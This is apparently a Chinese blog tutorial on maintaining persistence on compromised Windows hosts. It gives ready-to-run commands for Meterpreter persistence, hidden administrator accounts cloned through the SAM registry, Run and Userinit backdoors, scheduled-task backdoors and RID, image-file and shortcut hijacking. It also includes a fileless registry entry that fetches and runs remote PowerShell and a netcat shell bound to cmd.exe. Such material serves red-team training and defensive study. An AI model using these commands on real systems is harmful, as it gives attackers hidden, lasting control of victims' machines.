前言
最近終於不是那么忙了,有時間靜下心來學點知識,這篇文章自起稿到發布,用時近三周,其中有近一周的時間在迷茫在焦躁,甚至懷疑、否定自己。網上的表哥們個頂個兒的優秀,於是就給自己很大的壓力,所以那一個周的迷茫期里,我打了一天的聯盟,這里要譴責下自己,下次調節自己盡量快,別浪費時間,這樣,強迫症的我也就不用半夜發稿了,哈哈哈。最后也想明白了,與其直接放棄,不如放空自己,事情還是要接着做,安全路還是要走,堅持苟到最后才能問鼎殿堂,成為真正的強者。所以靠着碎片時間學習、操作並整理出來。截止文章發布時間,北京疫情又反復了,看了三位病例的行程軌跡,自愧不如感慨萬千,與12月初成都那位比起來,北漂們的生活既匆忙又真實,生存與生活真的是兩個概念。
Window權限維持
幾種常見的 Windows 系統后門,包括Windows系統隱藏用戶、Shift粘粘鍵后門、注冊表后門、Windows 計划任務、Windows 新服務后門、WMI后門等等。
0x00.Presistence模塊實現持久后門
Meterpreter的腳本persistence.rb,他將創建一個meterprer服務,即使遠程主機再次啟動,該腳本依然可以讓主機重新連接遠程的攻擊端口,由於meterpreter不需要身份驗證,這也導致任何發現端口的黑客也可利用此渠道進入后門,在真實情況下,建議完成任務后盡快自行清理。
在獲取主機session后,可以通過”-h”查看哪些選項可用:
配置持續Meterpreter會話,以等待用戶登錄到遠程系統,並嘗試每5秒鍾在端口17722上的IP地址xx.xx.xx.xx連接回監聽器。命令如下:
run persistence -U -i 5 -p 17722 -r xx.xx.xx.xx
經過提示判斷,該組件主要是在C盤Temp下建立一個vbs文件,在注冊表中設置,開機啟動該vbs腳本。重啟主機並驗證是否重連,發現開啟監聽端口后,主機重新連接了端口,產生session:
注意:每次使用該模塊,msf會自動生成一個rc文件,執行該文件的命令,可刪除目標機器中的vbs腳本,防止對目標系統造成一些后續影響,建議在滲透測試結束后執行該操作。
0x01.隱藏賬戶
該方法是通過建立隱藏賬戶,制作系統用戶遠程控制后門,維持目標Windows系統權限。制作方法跟步驟如下:
Tip:解決中文亂碼
chcp 65001
1)在目標主機cmd中輸入以下命令,創建一個名為whoami$的隱藏賬戶,並把該隱藏賬戶設置為管理員權限。
net user zha0gongz1$ Liu78963 /add
net localgroup administrators zha0gongz1$ /add
如上圖,我們已經創建成功,執行net user命令,發現是看不到zha0gongz1$用戶,但是這就結束了嗎,沒有!雖然上面net user看不見該隱藏用戶,但是在控制面板和計算機管理的本地用戶和組中,仍然是可以看的到該用戶的:
為了更好地隱藏我們的后門賬戶,我們還要開啟目標主機的遠程桌面進行如下操作。
打開注冊表編輯器,找到HKEY_LOCAL_MACHINE\SAM\SAM
,單機右建,選擇“權限”,把Administrator用戶的權限,設置成“完全控制”權限,然后關閉注冊表編輯器,再次打開即可。
這樣SAM下的文件就都能看見了。
然后,在注冊表編輯器的HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
處,點擊Administrator用戶,在左側找到和在右邊顯示的鍵值的類型一項“0x1f4”相同的目錄名,也就是箭頭所指目錄“000001F4”:
復制000001F4
目錄中的F鍵的值:
然后找到與隱藏賬戶whoami$右邊類型的鍵值“0x3e9”相同的目錄名
然后將000001F4
的F值粘貼到000003E9
的F值中,點擊確定:
然后從注冊表中右鍵導出000003E9
和zha0gongz1$
,並刪除zha0gongz1$
用戶 :
net user zha0gongz1$ /del
此時,查看注冊表以及本地用戶和組或者控制面板,zha0gongz1$
用戶已經沒有了:
最后,將剛才導出的兩個后綴為.reg的注冊表項導入注冊表中:
這樣我們的隱藏賬戶zha0gongz1$就創建好了。現在,不管你是在命令提示符下輸入 net user 或者在系統用戶管理界面都是看不到zah0gongz1$這個賬戶的,只有在注冊表中才能看得到。
0x02.注冊表鍵后門
該方法是通過將需要執行的后門程序或者攻擊腳本路徑添加到注冊表的自動啟動項中,從而實現目標主機啟動或登錄時便會執行后門程序使我們獲得其控制權限。
一般我們使用注冊表的如下位置:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run // 開啟時啟動程序
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit // 登錄時啟動程序
(1)手動制作
首先我們制作一個metasploit后門:
將該后門程序上傳到目標主機的C:\Windows\System32目錄中:
然后在目標主機的meterpreter執行如下命令注冊表進行操作制作后門:
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚舉run下的key
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v backdoor -d 'C:\windows\system32\backdoor.exe' #設置鍵值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v backdoor #查看鍵值
如上圖所示,后門創建成功。此時我們重新開一個metasploit監聽,然后輸入“shutdown -r -t 0”命令讓目標主機重啟,當目標主機重新啟動后便會啟動執行backdoor.exe后門程序,我們攻擊機的新開的metasploit監聽上就會成功上線:
使用以下命令也可以一鍵實現無文件注冊表后門:
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.28.142:8888/logo.gif'))\"" /f
我們還可以操作注冊表的Userinit鍵,這個鍵值默認為C:\Windows\system32\userinit.exe,后面加路徑,再加逗號也可以。這里也能夠使系統啟動時自動初始化程序。通常該注冊鍵下面有一個userinit.exe,但這個鍵允許指定用逗號分隔的多個程序,例如“userinit.exe,OSA.exe”:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit
讓目標主機在用戶進行登陸時,winlogon運行指定的后門程序。
除此之外還有以下可利用的注冊表鍵:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce // 只會在開機時啟動一次
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
(2)Metasploit 下的利用
Metasploit通過使用Meterpreter腳本和后滲透模塊來支持通過注冊表的持久性。Meterpreter腳本將以VBS腳本的形式創建一個有效payload,該payload將被上傳到目標主機的磁盤上,並創建一個注冊表項,該注冊表項將在用戶登錄期間循環運行該有效負載。
run persistence -U -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 10.10.99.xx
run persistence -X -P windows/x64/meterpreter/reverse_tcp -i 5 -p 4444 -r 10.10.99.xx
- -U指定啟動方式為用戶登錄時自啟動
- -X指定啟動的方式為開機自啟動
- -P 指定所使用的payload
- -i不斷嘗試反向連接的時間間隔,我們這里設置的是5秒鍾執行一次
- –r指定攻擊者的ip
- -p 指定攻擊者監聽的端口
(3)Empire 下的利用
在Empire上面有一個persistence/userland/registry后滲透模塊,可以自動幫我們完成上面手動創建注冊表后門的任務。
假設我們已經在Empire上面獲得了一個目標主機的session,我們可以通過設置該模塊在目標主機上創建注冊表后門:
usemodule persistence/userland/registry
set Listener <監聽名>
set RegPath HKCU:Software\Microsoft\Windows\CurrentVersion\Run
execute
如下圖所示,成功在目標主機上創建后門:
注意:殺毒軟件針對此類注冊表后門有專門的查殺機制。
注冊機開機啟動項
- Load注冊鍵
HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows
// 建一個字符串名為load鍵值
- Explorer\Run注冊鍵
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
- RunServicesOnce注冊鍵
# 其中的程序會在系統加載時自動啟動執行一次。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce
- 常用注冊鍵
# 其下的所有程序在每次啟動登錄時都會按順序自動執行。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
# 與Run鍵不同的是,RunOnce下的程序僅會被自動執行一次。
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
- RunOnceEx鍵
#Tips: 該鍵是 Windows XP/2003 特有的自啟動注冊表項。
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
0x03.Windows 計划任務后門
計划任務可以讓目標主機在特定的時間執行我們預先准備的后門程序從而使我們獲得目標系統的控制權。計划任務的持久化技術可以手動實現,也可以自動實現。有效負載可以從磁盤或遠程位置執行,它們可以是可執行文件、powershell腳本或scriptlet的形式。
(1)利用 at 命令
at 命令是Windows自帶的用於創建計划任務的命令,但是他主要工作在Windows Server 2008之前版本的操作系統中。我們可以通過at命令通過跳板機在目標主機DC上創建計划任務,讓計算機在指定的時間執行木馬程序,從而獲得對內網目標主機的控制。
- 首先在目標主機上傳metasploit生成的后門程序:
- 然后進入目標主機的shell使用net time命令確定目標主機的當前時間:
- 接着在目標主機的shell中使用at命令創建計划任務,讓目標主機在指定的時間運行metasploit木馬程序:
at 21:36:00 /every:M,T,W,Th,F c:\windows\system32\backdoor.exe
如上圖所示,計划任務創建成功,目標主機將在每個工作日的21:36:00執行后門程序,我們便可以在這個時間獲得目標機器的控制權
2)利用 schtasks 命令
上面我們講了用at命令創建計划任務,但是該命令已經被Windows Vista、Windows Server 2008及之后版本的操作系統廢棄了,代替他的是schtasks命命令。schtasks命令比at命令更為靈活、自由。下面來演示schtasks命令的使用,於是,攻擊者開始使用schtasks命令來代替at命令。
利用schtasks創建后門的大致流程如下:
-
首先在目標主機上傳metasploit生成的后門程序。
-
然后在目標主機上創建一個名稱為“backdoor”的計划任務。該計划任務每分鍾啟動一次,啟動程序為我們之前到C盤下的backdoor.exe,啟動權限為system。命令如下:
schtasks /create /tn backdoor /sc minute /mo 1 /tr c:\windows\system32\backdoor.exe /ru system /f
然后新開一個metasploit監聽,等待一分鍾后這個監聽便收到了目標主機的session,並且這個session還是system權限的。
(3)利用SharPersist工具
下載地址:https://github.com/fireeye/SharPersist/releases
SharPersist的創建是為了幫助使用多種不同的技術在Windows操作系統上建立持久性。它是一個國外安全人員用C#編寫的命令行工具,可以反射性的加載Cobalt Strike的“execute-assembly”命令或任何其他支持反射性加載.NET程序集的框架。SharPersist采用模塊化設計,以便將來添加新的持久性技術。還有一些與tradecraft相關的項已經內置到該工具及其支持的持久性技術中,例如file time stomping策略和最小化或隱藏運行應用程序。
該工具支持的持久性技術有:
keepass
-keepass配置文件后門reg
-注冊表項添加/修改schtaskbackdoor
-通過向后門計划任務添加其他操作來完成該任務startupfolder
-啟動文件夾中的lnk文件tortoisesvn
-烏龜svn鈎子腳本service
-創建新的Windows服務schtask
-創建新的計划任務
如果用戶具有管理員級別的特權,則可以通過SharPersist工具創建一個新的計划任務,該任務將在Windows登錄期間執行我們上傳好的有效載荷。
-
在目標主機上傳我們新生成的metasploit木馬和SharPersist程序:
-
然后使用以下命令創建我們惡意的計划任務:
SharPersist.exe -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c C:\Users\Administrator\backdoor2.exe" -n "backdoor2" -m add -o logon
然后新開一個metasploit監聽,收到目標主機的session,並且還是system權限的:
0x04.NC+注冊表實現持久后門
注意:此方法防火牆一般都會攔截,實用性一般
使用meterpreter上傳nc.exe,並枚舉注冊表內容(開機啟動)
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
向該注冊表增加內容(開機啟動)
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 11111 -e cmd.exe'
查看對應nc注冊表鍵值是否增加成功:
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc
確定重啟后目標系統開機是否正常運行nc.exe(防火牆已經關閉,這里雖獲取到session,但不穩定,不明原因,了解的師父還請留下寶貴的知識點,抱拳了)
0x05.DLL 劫持
在加載DLL過程中,系統都是先在程序目錄加載DLL,如果沒有找到就按照規定的順序去搜索,但如果DLL的路徑沒有在system32中,攻擊者就有可能偽造一個dll被程序加載。
系統在使用DLL搜索順序取決於世否啟用安全的DLL搜索模式 。
TIPS:
WindowsXP默認情況下禁用安全DLL搜索模式。之后OS默認啟用安全DLL搜索模式。若要使用此功能,需創建 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode 注冊表值,0為禁止,1為啟用。
SafeDLLSearchMode啟用后,搜索順序如下:
1. 從其中加載應用程序的目錄、
2. 系統目錄。使用GetSystemDirectory函數獲取此目錄的路徑。
3. 16位系統目錄。沒有獲取此目錄的路徑的函數,但會搜索它。
4. Windows目錄。 使用GetWindowsDirectory函數獲取此目錄。
5. 當前目錄。
6. PATH環境變量中列出的目錄。
SafeDLLSearchMode禁用后,搜索順序如下:
1. 從其中加載應用程序的目錄
2. 當前目錄
3. 系統目錄。使用GetSystemDirectory函數獲取此目錄的路徑。
4. 16位系統目錄。沒有獲取此目錄的路徑的函數,但會搜索它。
5. Windows目錄。 使用GetWindowsDirectory函數獲取此目錄。
6. PATH環境變量中列出的目錄。
DLL劫持利用搜索順序來加載惡意DLL以代替合法DLL。如果應用程序使用Windows的DLL搜索來查找DLL,且攻擊者可以將同名DLL的順序置於比合法DLL更高的位置,則應用程序將加載惡意DLL。
可以用來劫持系統程序,也可以劫持用戶程序。劫持系統程序具有兼容性,劫持用戶程序則有針對性。可以劫持系統程序的dll有:
lpk.dll、usp10.dll、msimg32.dll、midimap.dll、ksuser.dll、comres.dll、ddraw.dll
以lpk.dll為列,explorer桌面程序的啟動需要加載lpk.dll,當進入桌面后lpk.dll便被加載了,劫持lpk.dll之后,每次啟動系統,自己的lpk.dll都會被加載,實現了持久化攻擊的效果。
DLL 劫持利用搜索順序來加載惡意DLL以代替合法DLL。如果應用程序使用Windows的DLL搜索來查找DLL,且攻擊者可以將同名DLL的順序置於比合法DLL更高的位置,則應用程序將加載惡意DLL。
編譯后劫持用的DLL文件改成原DLL文件的名字,原DLL文件改為代碼中調用DLL文件的名字。(為了保證應用程序的正常運行,需要在執行惡意DLL文件后繼續加載應用程序缺失的DLL文件)。
0x06.文件夾啟動
在每次開機或重啟的時候就會運行啟動文件夾下的程序。
C:\Users\{UserName}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup
0x07.映像劫持
在下面注冊表路徑下創建一個子項,子項的名稱為你要劫持的exe
名稱,比如 cmd.exe
,然后創建一個值,鍵名為Debugger
, 值為要執行的惡意腳本。
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
運行 cmd.exe
時執行成功運行 calc.exe
(測試時安全軟件攔截,所以要先退出殺軟)。
0x08. RID劫持
新建一個普通用戶 zha0gz
,按照0x01中設置Administrator權限為完全控制時才能在下面注冊表找到。
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
對於Windows系統來說,注冊表下包含當前系統的所有帳戶列表,每個帳戶的默認鍵值對應該帳戶詳細信息的注冊表位置 (即RID的十六進制表示)。
查看 Administrator
對應鍵值,數值名稱為F
,數值內容 0030
的位置復制到 zha0gz
對應鍵值,數值名稱為F
,數值內容 0030
的位置。
點擊確定然后關機重啟,登陸 zha0gz
用戶。
0x09.快捷方式劫持
Windows快捷方式包含對系統上安裝的軟件或文件位置(網絡或本地)的引用。快捷方式的文件擴展名是.LNK
,它為 紅隊提供了很多機會來執行各種格式的代碼 exe、vbs、Powershell、scriptlet等。
如下案例,powershell 並沒有做任何處理只做演示學習。
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "invoke-item 'C:\Program Files\Google\Chrome\Application\chrome.exe'; invoke-item c:\windows\system32\calc.exe"